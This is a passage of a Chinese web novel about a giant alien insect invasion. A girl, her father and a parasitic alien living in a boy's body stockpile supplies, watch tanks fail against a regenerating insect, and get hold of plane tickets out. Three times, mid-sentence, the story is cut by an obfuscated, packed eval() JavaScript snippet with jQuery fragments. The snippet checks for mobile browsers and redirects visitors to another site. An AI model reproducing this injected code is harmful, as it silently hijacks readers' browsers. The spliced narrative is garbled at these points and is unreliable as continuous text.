当事人侧躺在床上,一手支着太阳穴,一手在剥开心果,卧室里不仅环绕DJ舞曲,还放着他最近在追的龙傲天小说。唐念走进去他也没有察觉,直到她将音乐调小,他才回过头,说:“卧槽!你走路怎么都没声。”
话音刚落,正要把头撇回去,就看到了在卧室门口探头探脑的唐夏,一怔,问,“这不是那谁吗?跟我们同村的那个什么……他怎么在这儿?你放进来的?”
“嗯。”唐念平静地解释,“从今晚开始他会跟我们住在一起。”
“?”
唐念养些虫啊猫啊,唐生民早就已经被迫习惯了,但他着实没想到她会发展到上街随便捉个人来养的程度,费了些力气托住自己直往下掉的下巴,艰涩道,“……你疯了?”
她留下句“没有”就走出了他的卧室,回到自己房间给唐夏寻找帽子。
翻箱倒柜一通,最后也只找到一顶棉帽,以及多年前唐生民去外地旅游时旅游团送的红色棒球帽,上面印有公司logo,土得掉渣。夏天戴棉帽怪怪的,唐念思索片刻,把棒球帽扣到了唐夏头上。
唐夏调整起帽子的姿势,问她:“唐念,你不跟你爸爸解释一下外面的情况吗?”
可怜唐生民还对外头的屠杀一无所知,此刻抖着腿哼着小曲儿,又偷摸把她刚才调小的音量重新给调大了。
唐念没有回答,不知是没听清还是无所谓,她问起另一个问题:“有你在我家,我和我爸是安全的吗?”
唐夏于是又被她带偏了:“是的,基本安全,我可以分泌信息素保护你们。”
说完又补充道,“保护到我饿了,决定吃掉你们为止。”
唐念点点头,面色如常地说:“我知道了。”
*
唐生民是吃晚饭吃到一半才发现不对劲的,因为吃饭时他不得不把音乐和有声书关了,这一关才发现外头很吵,不是节假日或者结婚时那种敲锣打鼓欢天喜地的吵,反而充满了凄厉的哭叫。
他把碗一撂,说要去外面看看是哪个杀千刀的这个点不吃饭还在外头哭天抢地。
唐念没有阻止,因为觉得他亲眼看过以后会比她口头解释更具说服力。
唐夏也没有阻止,它坐在餐桌旁,正努力与筷子搏斗。其实它本可以不坐在这里为难自己的,可是唐念说身为人类不在餐桌旁吃饭太奇怪了,让它装也要装出个样子,所以现在它只能坐在这里装模作样地夹菜。
等它终于颤巍巍地夹起一颗肉丸,唐生民刚好也看完情况回来了。
用“回来了”这三个字会让人误以为他回来的过程很文雅,实际上唐生民是屁滚尿流地爬回来的。
他出去的时候还面色红润,回来时却吓得面无人色,尖叫哭喊着说:“快!快!躲起来!快躲起来!!躲去山里的防空洞!”然后冲去厨房摸了一把菜刀出来,站到唐念面前,朝门口疑神疑鬼地看来看去,让她不要害怕,因为他会保护她。接着又冲空气大吼一声:“我跟你们拼了!!”
撂完狠话,话音猛然一转,“不对不对,钱钱钱,先带上钱!”言罢扔下菜刀冲去卧室,找出了自己藏的所有私房钱,找出来以后又大叫一声,“错了错了,黄金才是硬通货!我们家的黄金在哪?!在哪啊——!”
还没等唐念回答,他又打了鸡血一样从原地弹射起来,说他要去超市抢购食物。
他就像一台代码错误的机器,每一个举动都在唐夏意料之外。它坐在餐桌旁饶有兴味地观察他,直到唐生民反应过来家里的两个小孩都过分淡定,迷茫地问他们怎么一点反应都没有,唐念才大发慈悲地回了句:“先吃饭。”
“现在是吃饭的时候吗?!”唐生民抓着自己脸颊的肉崩溃地反问。
她看了眼客厅的钟:“六点半了,是吃饭的时候。”
*
怕归怕,吃归吃,虽然很惊恐,但这顿饭唐生民还是好胃口地吃了很多。
唐念从他们家阳台翻找出多年前买过的一辆用来拉快递的小推车,决定带上这辆推车去超市囤水和食物。发生这种紧急情况,有钱有势的人或许可以囤武器,不过像他们这种平头百姓,枪支就别想了,多囤点吃的让自己不要早早饿死才是真谛,起码得活着支撑到救援来临的时候。
安全起见,她带上了唐夏。
唐生民对她抓着小屁孩当保镖的行为百思不得其解,执意要跟他们一同前往,可惜他才往屋子外走了两步就软在了地上,拉都拉不起来,比阿斗还扶不上墙。唐念很嫌弃地皱起眉说你不要跟出去拖累我们,随后领着唐夏无情地扬长而去。
他们去的是离家最近的一家便民超市,唐念特意带上了纸币和一些首饰,就是怕机器出了故障无法进行线上支付。
然而事实证明她想多了,别说线上支付线下支付,这间超市根本就没有人。
或者说——
没有活人。
往常总是坐在柜台后的老板不见踪影,只留下了一只手臂以及满地脏污的血。
唐念在有良心地付钱以及没良心地白嫖之间纠结了一下,最后心怀歉疚选了后者,把纸巾与首饰收好,走进超市挑选食物。
考虑到未来极有可能停水停电,她没有第一时间去拿新鲜果蔬,而是来到速食区挑选起了可以即食的食物,顺便指挥唐夏帮忙拿几瓶桶装矿泉水。
她这边还在忙碌,那边唐夏却被别的东西吸引了注意力。
为了省钱,唐念从来不吃零食,家里唯一的零食就是唐生民买的那些坚果。这就导致唐夏在她家里住了这么多天,连垃圾食品都还没有尝过。它在电视上看到过人类的垃圾食品广告,明明是非常缺乏营养的食物,人类却吃得津津有味,这不符合唐夏的生存逻辑。它很好奇这些食品里添加了什么玄妙的东西,才让这么多人都赞不绝口。
唐念选完方便面和自热锅,拐到另一条货架前拿面包和饼干,挑到一半,余光瞥见唐夏举着一包果冻朝她跑了过来,仰着面颊问她:“唐念,我能拿果冻吗?”
该说不说,它寄生的这个小男孩长得还挺乖,两只眼睛圆圆的大大的,黑眼仁占了眼睛里大半位置,有点像夜晚瞳孔放大的小猫。
据说黑眼仁占比越大的东西越会让人觉得可爱,唐念认为这个理论颇有些道理,如果唐夏寄生的是一个三白眼老头,她肯定当机立断说不行,但由于它寄生的是一个粉雕玉琢的小孩,所以她迟疑了两秒才说:“不行。”
果冻并不果腹,拿了也只是占地方而已。
唐夏还没学会耍赖或者撒娇,也不会调整与之对应的表情,闻言只是面无表情地点了点头:“好吧。”
然而唐念转身继续去挑东西以后,它在她身后又问了一句:“唐念,我能拿果冻吗?”
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750361|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记得我两秒前已经拒绝你了。”她头也不回地说。
“好吧。”它又点点头。
过了三秒——
“唐念,我能拿……”
“……”
她目光朝下瞥向它,“只能拿一包。”
“好的。”它举着那包果冻哒哒哒跑去了推车那儿。
挑了满满一推车的食物,顺带拿了些蜡烛、打火机之类的日用品,唐念才打道回府。
离开超市前她拆了件雨衣披在推车上,这使得她的推车看起来更像是用来藏尸的,而不是装食物。
虽然他们村里住的基本都是些老实本分的人,可老话说兔子急了都还会咬人,万一发展到弹尽粮绝的地步,她有食物这件事难保不成为众矢之的。唐念不敢去赌人性。
就这么遮遮掩掩地回到了家。
在她离家这半小时,不知唐生民哪来的一股牛劲,竟然已经利落地收拾出了两大箱行李,说里面装的都是一些应急且刚需的物品,一有不对,他们父女两人就可以拉着行李箱跑路。
他自动无视了唐夏,还在它进门以后不悦地恐吓它,让它赶紧回自己家,别来他们家蹭吃蹭喝。
“他妈妈刚才遇到袭击去世了。”
唐念的话叫唐生民愣了一下,不过随后他又露出了凶巴巴的表情:“妈死了,那还有爸……”
说到一半,他自行噤了声,因为他突然想起之前打麻将时听村里人提过,说这孩子的爸爸早早就得病离开了。
“那没有父母总还有其他亲人吧……”
他越说越小声,唐念知道他这句话就是态度已经软化的意思,她没再理会他们,走进厨房,趁着现在还有水有电,翻出家里所有的锅碗瓢盆开始接水。
与哗啦啦的水声一同降临的是浓厚的夜色。唐念没有开灯,虽然唐夏说它的信息素可以保护他们,但她并不敢全然依赖它。关灯能够降低他们家的存在感,就算只有万分之一的可能,她也希望她的家能够在这场危机中幸存下来。
那天晚上她本该睡不着的,遇到这么超乎常理的恐怖事件,任何一个人都需要缓冲的时间,可唐念觉得唐夏的存在已经在无意间向她打了预防针,也许她潜意识深处早就知道有什么不同寻常的事将会发生,所以当这一切真的发生以后,她反倒坦然地接受了现实。
她安然睡着了。
——并不是。
唐念瞪着披着人皮躺在自己床沿的唐夏:“尸体不许上.床。”
“为什么?”它问。
“很恐怖。”
“好吧。”
唐夏只好爬起来,蹲到了卧室角落里。
小男孩的嘴巴鼓了鼓,随后唐夏的本体从里面缓缓探了出来。它跳到地上,重新爬回了她的床沿,蜷在枕头旁边摆出了睡觉的姿势。
失去了它的寄生,男孩的身体越发透出一股阴沉沉的死气。
更可怕的是他的眼睛。
唐夏出来的时候忘了将他的眼睛阖上,导致男孩此时只能瞪着双眼直愣愣地盯着她。
唐念始终认为眼睛是生物身上最富有灵气的部位。小时候每回跟林桐上菜市场买肉,那些失去了眼睛的动物尸体并不能引起她怎样的共感,它们在她眼里无非就是一块肉而已,只有保留了眼睛的尸体能让她深刻领会到对方是尸体的事实,尤其是这双失去了神采的眼睛直直盯着她瞧的时候——仿佛下一秒,那双眼睛还会转动,随着眨眼的动作沁出求生的血泪。
她深深吸了一口气,抓起枕头旁的唐夏丢向角落:“把他眼睛合上。”
19.灾区第二天
第二天清晨,唐念是被一阵广播声吵醒的,官方启动了久未使用的城市防空警报系统,通过全城广播告知居民减少室外活动,待在家里等候救援。广播没说具体救援时间,只说别的地区的军队正在紧急集结,不日便将前来。
外头的一切都已经停摆了,工厂没有工人,公司没有员工,学校没有师生,连银行都没有柜员,电力供应也时断时续。城市里的居民如同草原犬鼠,放哨个体发出警报,于是所有人都蜗居进了地下巢穴,屏息凝神,保持安静,焦躁地等待捕食者猎食完毕自行离去。
城市几乎成了死城,寂静凄清,只有安抚民众情绪的广播伴随着巨虫飞行的嗡嗡声三不五时响起,其中夹杂着个别运气差的人被巨虫从家里拖出来啃食的惨叫,若隐若现,像恐怖电影里坟场幽灵的呼号。
趁着当前还有信号,唐生民打开了家里所有智能电子设备上网,想多了解一些有关虫子的信息。
关于这场虫灾,短短一夜间,网络上就充溢了各种真真假假、虚实掺半的消息。
有居民上传了现场屠杀的第一手视频,由于太过血腥,没过多久就遭到了全平台封禁,但底下还是有人留言说“求视频,可有偿”。还有人自称是纠察部的一员,直言普通枪支根本无法对这些外壳坚硬的虫子造成伤害,现在纠察部和军队正在紧急制定攻击方案。也有军火供应商匿名透露政府已秘密向他们采买了一批新型武器。
主观层面的消息众说纷纭,不过也有一些信息已经得到了官方的证实,譬如虫群来自外太空,它们最先降临于赤道,随后不久便以赤道为轴心向维度更高的地区迅速扩散,现在正朝亚热带地区逼近。
唐念他们的城市位处热带,首遭池鱼之殃。这也就解释了当初唐夏以及它的同类为什么会先集中出现在他们这片区域。她想起当时蒸煮唐夏那颗蛋却意外将它煮孵化的事,她的实验结果也表明唐夏虽然能在极大的温度范围内生存,但总体来说,它最喜欢40℃-80℃这个区间,也许这是它们整个种群的习性。
亚热带地区接收到了他们这边发去的警报,正在紧锣密鼓布防。
唐生民对派兵一事非常悲观,他说联合政府肯定会优先将兵力用于防卫未被侵略的地区,一是“防卫”这一举措相较于反攻更有性价比,二是那边更靠近首都,而首都是整个人类文明的命脉,政府肯定会倾尽全球之力优先保护,他们这种前线小城能否及时得到兵力支援还很难说。
“早知道还是得买辆车,有车直接举家逃亡算了,靠谁都不如靠自己。”他咬牙切齿道。
唐念不得不提醒他不是他们不想买车,而是没钱买车,就算早知道了也没有用。
“那我们难道就只能等死吗?”他一边说一边义愤填膺往嘴里塞了块饼干,又改口道,“好吧,死我也要做个饱死鬼。”
几乎是他话音刚落的时候,外面就响起了一道近似枪响却比枪响更为响亮的声音。
“是坦克!”
唐生民扔开手里没吃完的饼干,当即转身冲向了二楼天台。
唐念也起身跟了上去。
他们家的天台很小,除了晾晒被子、堆放杂物,平时几乎没有人上来,地上积着厚厚一层灰尘,鞋子在上面一踩一个鞋印。
走到天台上,朝着声音来源地眺望,能清晰地看到几辆坦克正从街道那头驶来,钢铁巨兽般的身躯在城市建筑中透出了格格不入的荒诞。其余平房的天台上也有许多村民正在围观,远方小区的阳台上也聚了不少人,坦克的到来就像一剂定心丸,让惊弓之鸟般的民众看到了一线生机。
虫群已经四处弥散开了,密度远没有昨天刚降落时那么大,但天空中还是时不时会掠过几只巨型飞虫慢悠悠飞行的身影,从容得如入无人之境。
唐生民仔细辨认了一下坦克上面的编号,失望地说这是他们本城的驻军而不是援军:“这些坦克型号都很老了,估计是部队里仅有的库存,也不知道这玩意能不能打死那些怪物。”
像是为了验证他的猜测,他说话的时候,其中一辆坦克调转方向,锁定了远方天空中飞得比较低的一只飞虫。选择它是有原因的,虽然天空中还有其他目标,但毕竟是在城市里,士兵需要考虑到射.出去后炮弹的落点,避免炸死居民。
坦克的发射没有酝酿太久,一声炮响,硝烟弥漫,他们被震得随之一颤,同时眯眼睨向那只虫子。
然而振奋人心的场景并没有出现——那只虫子安然无恙。
它躲避炮弹的动作并不仓皇,相反,在炮弹发射前,它几乎像蜜蜂采蜜那样悬停在半空中,在他们看来无疑是一个呆笨的活靶子。炮弹发射以后,唐念用肉眼甚至没能捕捉到炮弹运行的轨迹,换成是她悬停在半空中,此刻恐怕早已被炸成一摊肉末,可是那只巨虫却仅仅只是轻巧地朝旁一闪,动作太快,粗略看去就好像凭空瞬移到了几米外一样。炮弹落在了更远的远方,没有伤及它分毫。
唐生民大骂了一声:“草!”
不知坦克里的驾驶员们收到了什么指令,又互相商量了些什么,下一瞬,四辆坦克齐齐瞄准了那只虫子。
“轰它!轰——!”
不知道哪栋楼上的居民激动地大喊,随后附和声此起彼伏地蔓延开。
连唐生民都举起右手,跟着吆喝了几声:“对!轰死这些怪物!”
但现实是残酷的,奇迹并没有出现,即使坦克齐齐发射,震得大地都在跟着震颤嗡鸣,硝烟叠着硝烟,巨响撵着巨响,可白烟散去以后,所有人都清楚地看到了那只飞虫。
它依然悬停在与之前相差无几的位置,膜翅高频振动,鞘翅扬起又微微下落,唯一的变化就是头颅从背对坦克的姿势转成了正对坦克的姿势,似乎对这个钢铁制成的炮弹库产生了浓厚兴趣。
几秒的死寂后,它直直飞向了坦克的炮眼。
“轰啊!!!趁现在快轰它——!”
先前打头助威的那个人撕心裂肺地喊,喊到末尾几个字全都破了音。
而坦克的操纵者显然也是这么想的,当飞虫接近到离坦克只有几百米的距离时,炮弹瞄准它看起来较为柔软脆弱的腹部发射了。
卟的一声。
这次发出的声音与方才炮弹落空的声音不同,穿.甲.弹携带着巨大的动能扎进巨虫腹部,这种能轻松穿透敌方坦克的穿.甲.弹轻而易举贯穿了巨虫庞然的身躯,在它腹部撞出一个前后连通的大窟窿,撞击时产生的高温瞬间融化了窟窿周围的血肉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755230|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还带出不少飞溅甲壳,其中一块以惊人的速度迸溅到了唐念家的天台,在屋檐的位置砸出一个深坑,把唐生民吓得一个踉跄滑铲到了地上。
所有人都呆住了。
这是狂喜前的愣怔,预示着一场欢呼的到来。
可是还没等大家的喉咙酝酿出这阵代表胜利的欢呼,恐怖的一幕接踵而至。
被炮弹融化的血肉突然以肉眼可见的速度开始重铸弥合,掉在唐念家天台的那块甲壳也在一股不知名力量的牵引下物归原主,如同拼图回归原位,它与其他被重新召回的甲壳和碎肉一样,沿着最短路径飞回巨虫身侧,严丝合缝地嵌入了它门户洞开的腹部。
在所有围观者震惊与悚然的注视下,巨虫恢复了被炮轰前的原貌,仿佛刚才被穿.甲.弹轰开只是家里的门没关严实,不小心被外来者推开了,现在这扇门被主人泰然自若掩上,它歪了歪头,继续沿着原先的路径飞向袭击自己的坦克。
它落在了坦克上。
夕阳将街道上这一幕辉映成了一副黑色的剪影,像一场怪诞又离奇的皮影戏。
唐念站在原地,呆呆看着那只巨虫举起镰刀,轻松切割开坦克的顶部,将驾驶员从里面揪了出来,就像一株苍白柔弱的植物被连根拔起。
天空之下喧嚣地飘扬着死一般的寂静。嘈嘈切切,万籁俱寂。吵闹的是心跳,偃息的是喉咙。
在一阵短暂的凝睇后,剪影中的巨虫垂下头颅,向着驾驶员细瘦的脖颈张开上颚——
咔嚓。
*
唐念跟在唐生民身后走回屋里,在他下楼梯即将摔倒时伸手搀了他一把。
唐生民两眼放空,换成平时他可能还会同她吐槽几句话,说“我就知道部队太弱了”,但现在他甚至失去了吐槽的能力,下楼以后就失魂落魄地走去了自己的卧室,躺在床上一动不动,默默扮演尸体。
唐念坐到了沙发上,把唐生民吃剩的饼干收起来,决心拿去厨房找袋子装一下。
唐夏没有跟随他们上天台观望坦克的战斗,不知道是早就知道结局还是另有要事,唐念猜是后者,因为它面前的茶几散落着好几个用来装果冻的空壳,它挤出一块新拆封的果冻,凑到自己唇边,从男孩唇瓣里探出触手,飞快将果冻卷了进去,一边吃一边含糊不清地对她说:“唐念,果冻很好吃。”
她说“是吗”,心里想的却是另外的事。
刚才那只巨虫展现出来的重组能力,她在唐夏身上见识过低配版。它的细胞再生能力没有那么强,考虑到它们是同族,她不确定这个差异是因为它们属于不同工种,就像蚂蚁有工蚁和兵蚁之分一样,还是说唐夏尚未发育到那种程度。
它可以发育到那种程度吗?
怀着疑惑以及白天那幕带给她的冲击,那天晚上,唐念睡得并不怎么踏实。
半夜三点左右,她被唐夏叫醒了。
它穿上了小男孩的皮趴在她枕头边,大眼睛乌漆漆的,轻声道:“唐念,第二波要来了。”
她刚睡醒,人还懵着,沉默了好几秒,才含混地问:“第二波虫子吗?”
“嗯。”它瞥了眼窗外,“数量太多了,信息素很杂,我的信息素不一定能被它们识别出来。”
20.骷髅头
新降临的虫群数量更为惊人,即使唐念得到了唐夏的提醒,已经做足了心理准备,并且把睡梦中的唐生民喊醒,拉着他及时蹲进了餐桌底部进行一些聊胜于无的防护,然而当虫群集体降临时,排山倒海的振翅声还是令她头皮发麻。
广播咿呜咿呜拉着警报,刺耳的鸣笛声混在振翅声里,在城市上空来来回回盘旋,像盛夏傍晚绕圈的蝙蝠。
他们家的玻璃款式老旧,松垮垮地嵌在窗框上,台风天必须贴满胶条才能抵御狂风,现下这些玻璃被声波震得潮水般起伏摇晃,唐念很担心它们会像动画片里演的那样夸张地爆开。
谁知最后玻璃抵御住了音波,倒是他们家的房子在这场灾祸中不幸塌了一半。
那是后半夜的事了。
她从前听人说战争期间躲在家里听头顶导弹飞来飞去的声音,听久了会像听白噪声一样犯困,还不大相信,直到她自己也在连续几个小时的虫鸣中犯困犯得睁不开眼睛。就是这个时候,他们屋子的天花板像被什么巨物砸了一样颤动起来,墙片哔剥脱落,墙体发出不堪重负的呻吟,接着轰隆一声——天花板掉了下来。
后来唐夏解释说应该是某只虫子在他们家的天台歇了歇脚。这些庞然巨物即使没有携带明显攻击意图,仅仅只是出现,也已足够对人类世界产生致命性危害。
他们躲在餐桌下,万幸没人受伤,只是天亮以后往外爬费了些劲儿。唐念推开断壁残垣往回一看,天台塌剩一面围栏,客厅也被埋得七七八八,亮堂堂的晨光照得屋子里的一切破烂家具无处循形。
以前唐生民偶尔会唠叨他们家没有敞篷跑车,现在好了,虽然没有敞篷跑车,却有了敞篷屋,晚上想要看星星看月亮连屋门都不用出门,往床上一躺便万事大吉。
和他们有着相同遭遇的不止一家,应当说大部分房屋都发生了损毁,连附近小区里的高楼都被冲撞掉几层。如果仅仅只是房屋损毁倒还算幸运,更不幸的是拖家带口被巨虫逮出来吞食的人。房屋对虫群来说就像一个个密闭罐头,开启哪个,食用哪个,全看它们当下的心情。
此刻天空中的虫子少了一些,可仍有不少飞虫结伴从天际掠过,远远望去如同群飞迁徙的大雁。
唐生民边破口大骂边撸起衣袖搬运地上的砖块,试图将通往卧室以及厨房的道路清理出来。唐念领着唐夏在他身后帮忙,唐夏哐哐搬着砖块,情绪并不高涨,因为它的果冻在房子倒塌时被压坏了。
他们的修缮工作持续到下午才告一段落,唐念正打算洗漱一下,把身上各种脏污尘土冲洗干净,一开水龙头才发现没有水。原本以为是家里的水管被压塌的缘故,去到其他村民家里一问,却得知大家都没水,大约是供水部门或者供水线路那边出了问题。
好在唐念早有准备,她找出之前提前装的水,在四面漏风的卫生间里快速洗漱完毕,又和唐生民、唐夏坐在四面漏风的餐桌旁吃了顿速食晚餐,回到四面漏风的卧室睡觉,这一天便囫囵结束了。
巨虫的重组能力以及第二批虫子的到来让整座城市都笼罩在无言的绝望下,之前民众还能满怀希冀等待军队前来支援,可是在发现现代武器无法杀死虫群后,民众普遍对军队到来一事失去了信心,觉得来了也没有用,还不如自己想办法逃命。
等第二波降临结束,虫群密度稍微降低一点点以后,很多家庭选择了举家开车逃亡,唐念躺在床上甚至能听到百米外的大路上传来的轮胎碾压柏油马路的声响。
伴随着轮胎的沙沙声,她闭上了眼睛。
*
“没有……机场和车站全都停运了。”
“大巴车也没有?”
“大巴有那么几趟,但劝你还是别,速度太慢,跟私家车差不多,昨天国道上那些私家车全都……那些怪物后来专程搁国道上吃自助呢,真操蛋……”
受灾第四天,唐念醒来时,隐隐绰绰听到了院门口传来的说话声。她随意踩了双拖鞋走出去,看到唐生民正跟他同村的一个牌友站在院门□□流信息。
这位牌友便是昨天开车离开的人之一,他说昨天开出去的很多私家车都没能跑赢虫群的速度,反而由于行进方向与虫群扩散方向一致而引起了它们的注意,只有几个运气爆棚的家庭侥幸逃脱。
他开在车队末尾,目睹了前面那些人的惨状,于是赶紧又载着家人调头开回来了,觉得待在家里好歹有建筑物挡着,而且建筑物那么多,虫群不一定就会挑中他们作为食物,比在大街上开着车乱晃安全一些。
“我们全家坐在车里都要吓死了,结果你猜怎么着?国道上居然有个老太婆拄着拐自己一人在赶路,还是朝我们这五线小城来的,哈!要不是我家里人也看见了,很多人都看见了,我差点以为自己撞见鬼了,这年头不怕死的人真多。”
他还透露了另一个消息,说虫群有储食行为。它们的猎杀范围不止人类,几乎一切能产生热量的东西它们都吃,一旦摄取了足够自身活动的热量,它们就会把剩余的食物带到某个地方贮存起来。
“我们半路上看到了它们堆放尸体的地方,乖乖……简直是一片尸山,不知道它们把尸体扔在一起是要干嘛,我看它们也不吃那些腐烂的尸体,就只是扔在那,那个味道,我去!我老婆和孩子闻完直接吐了,要不是在开车,我也想吐,你闻闻,我现在还觉得自个儿身上沾着那味儿。”
唐生民敬谢不敏:“闻个屁。”
“嗐,屁都没那么臭呢!”
牌友离开以后,又陆陆续续有几个村民过来探听情况。
网络已经全线瘫痪,连全城广播都在上午宣告报废,今天一天下来都没听到源自官方的消息,信息全靠目击以及口口相传。信息时代的人类社会是脆弱的,只要一断电一没信号,就会倒退回工业革命时期的水平,要想及时获得信息,只能靠一身舌灿莲花的本领。
唐生民在门口跟来往的村民侃来侃去,聊得唾沫横飞,到了晚饭饭点才进屋,对唐念说这样下去不行。
“我们得想办法走了。”
“走去哪里?”她用筷子挑起勺方便面,看到唐夏要用筷子扎牛肉丸,忙用自己的筷尾打了下它的手制止它的行为,“待会汤汁喷出来。”
“去首都。”唐生民比划了一下,“要是首都还不行,那咱只能认命等死了。”
“怎么去,不是说机场和车站都停运了吗?”
“我明天去我其他牌友那串串门,看有有没办法吧。”他喝了一口汤,突然又吹嘘起自己的关系来,说别看他每天都在打麻将,但人脉圈硬着呢,十里八乡没有他不熟的。
唐念对此的回应是装作没听见。
*
第五天天一亮,唐生民果然出门了。唐念让他带上唐夏,唐生民说我带个小孩去干什么,嫌现在还不够乱啊,说完就独自走了。后来还是她授意唐夏偷偷跟上去的。
“我跟上去,你能给我果冻吗?”它眨巴着眼睛问。
超市和便利店里的所有食物都被民众扫荡一空,现在别说果冻,连片真皮都找不到,唐念想了想,说可以,不过要等到他们离开这里以后了:“我会想办法给你买的。”
唐夏点点头,出门跟在了唐生民身后。
家里有它留下的信息素,它在这里生活了很久,信息素浓郁,所以她并不怎么担心,独自一人待在家里整理行李。虽然说唐生民之前整理过一次了,但还是遗漏了不少东西,唐念想了想,把全家福也放了进去,照片是她刚出生那会儿拍的,林桐抱着她,唐生民则十分拘谨地垂着双臂站在林桐身边。
林桐不爱拍照,这不仅是他们家唯一的全家福,也是她唯一的一张照片。
中午她随意吃了点面包,正打算午睡一下,忽然听到外头响起了喇叭声。
是纠察员之前宣扬宵禁注意事项时拿着的那种原始扩音喇叭,对居民说食物援助到了,现在会按顺序挨家挨户派发,每一户都有份,让大家有序地待在家里,不要扎堆,不要喧哗,不要争抢。
尽管只是送来了食物,而不是消灭虫群的消息,但这种危急关头下的关怀无疑给大家带来了一点点希望,唐念看到很多人都在家门前探头探脑张望,目测政府工作人员带来的食物库存是否真的够挨家挨户分发。
食物发到唐念这里时,唐生民还没回来,乔燕妮往他们家倒塌的屋子看了一眼,说:“节哀。”然后给她拿了一人份的食物。
“……我爸还活着,他只是出去了。”唐念不得不开口解释了一下,“还有一个别人家的小孩,算上我,一共三个人。”
“别人家的?谁家的?叫什么名字?”乔燕妮机关炮似的问。
唐念哑然。她并不知道同村那个小孩叫什么名字,只能说:“不知道叫什么,他妈妈遭遇袭击去世了,就剩他一个人,我看他可怜就让他住进了我们家。”
“哦,那我知道了,是陈允熙吧,单亲家庭那个小男孩,读小学一二年级那个?”
唐念估摸着说:“对。”
“行,那三人份的给你。”乔燕妮给她拿了面包、牛奶等物,又交代她等唐生民回来一定要嘱咐他不要在外面乱跑,“现在外面可危险了,别不把自己的命当命。”
前方有人在催促乔燕妮,问:“妮妮,能发我们这了吗?小孩没奶吃都哭一整天了!”
“嗳,来了——”
乔燕妮应了声,转身离去。
唐念将破旧的院门重新关好,门合上之前,恰好听到那户人家问乔燕妮:“机场那边还没航班吗?高铁呢?我们什么时候才能离开这鬼地方啊?”
“暂时还没呢,等有了会通知你们的。放心,联合政府那边肯定不会放弃我们这里任何一个居民。”
*
晚上八点多,唐生民总算姗姗来迟,他走进院门的动作猥琐得像只刚刚偷完灯油的老鼠,鬼祟到了极点,唐念打着手电筒晃过去时他还被吓得嘎吱叫了一声。
“欸,欸欸。”他手揣在外套里面,朝她紧走两步,嘴角漾开一个贱兮兮且志得意满的笑,“你瞧我弄到了什么好东西?”
“什么?”
“当当当当~”
唐生民一边低声给自己配乐,一边从外套里摸出了两张票。
出生以来,唐念从没见过纸质票据,以至于看清了上面写的航班班次,她才领悟过来这竟然是两张机票。
她惊呆了,接过那两张机票仔细看了好一会儿,才问:“你从哪里弄来的?下午有工作人员过来发食物,我听他们说现在航班都还没恢复。”
更别提这两张机票上的起飞时间是今晚凌晨五点,也就是几个小时后。她第一反应就是唐生民被人坑了。
但他只是嗤笑一声:“你还真信那些人的话呐?那些底层工作人员自己都被蒙在鼓里,实际上他们的领导早就已经联同有钱人买通了今晚这趟航班,打算自己先跑路了。”
唐念听完,张口结舌。
不久后,她想到了另一个令人疑惑的点:“那你又是怎么弄到这些机票的?你什么时候成有钱人了?这两张票该不会是你偷来的?”
“屁!这东西能那么容易被我偷到吗?”唐生民抓了抓头发,烦躁道,“哎呀反这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759486|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正当途径得来的,现在这关头哪还管这么多,有票就行,逃命要紧!对了,那小屁孩呢?我没弄到他的票,不过我们可以把他藏随身行李箱里一起拉到飞机上。”
“……这能行吗?”
“反正凌晨那会儿机场肯定非常混乱,我觉得安检未必那么到位,试试呗。不行就把他丢了,反正跟我们无亲无故,养他这么几天,又尽力让他上飞机,我们也算仁至义尽了。”
他话刚说完,唐夏就推开院门走了进来,铁门发出的开门声把唐生民吓得魂飞魄散:“我去,你怎么在外面,你要吓死我啊?!”又因为刚刚说了一番把它丢掉的话而感到十分心虚,眼神乱闪,虚张声势地胡咧咧道,“你再乱跑,小心怪物把你抓去吃掉!”
接着嘱托唐念先进屋收拾行李,夜里十二点会有车过来接他们去机场,留给他们准备的时间不多了。
唐念点点头,牵着唐夏回自己卧室收拾去了。
行李白天才被她整理过一番,现在能做的工作无非是打开来再检查几遍。唐念检查到行李箱拉链都快被她弄坏了,才突然想起被她遗忘多时的白蚁。
大头蚁实验还没来得及展开,她正微微感到失望,就发现放在角落里的饲养缸已经碎掉了,上面覆盖着厚厚一层墙灰,大概是屋子倒塌那天被累及的。
缸里的白蚁所剩无几,她拿起来仔细一瞧,才发现里面竟然已经成了大头蚁的天下,看来屋子倒塌那天不仅砸坏了白蚁生活的缸体,还给院子外的大头蚁制造了进来的通道。
有趣的是,尽管大多数工蚁和兵蚁都已殒命,蚁后却还活着。它分泌出来的信息素让它的臣民依然在井井有条地布防。
